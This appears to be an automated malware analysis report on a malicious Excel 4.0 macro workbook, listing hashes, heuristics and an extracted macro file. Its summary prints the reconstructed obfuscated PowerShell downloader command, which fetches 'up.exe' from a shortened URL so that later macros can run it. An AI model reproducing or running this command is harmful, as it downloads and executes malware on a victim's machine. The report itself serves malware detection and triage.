Office (OLE) / .XLS malware analysis — malicious · e633b1cabc70ce82

MALICIOUS

Office (OLE) / .XLS

66.5 KB Created: 2020-09-20 21:17:44

MD5: f8750d8effc4eb0d72f0dad7914fdc1e SHA-1: f1977b90d0226b7406d28ab539464283b188106c SHA-256: e633b1cabc70ce82432aefdcdad9af12d1d005614037794eb074f5abc8e097ff

220 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical indicator of malicious intent. The macro executes a PowerShell command that reconstructs to 'cmd /k p^ower^shell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('DownloadFile').Invoke(('http://shorturl.at/afhsF'),'up.exe')'. This command downloads a file named 'up.exe' from the provided URL and saves it to the user's application data directory. Subsequent macros then execute this downloaded file, indicating a downloader or droppper functionality.

Heuristics 5

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN

Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `e00c2399e257d0851a55a9e1b188182b9d57554bb52ec121757b37050070e2e7`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	836 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.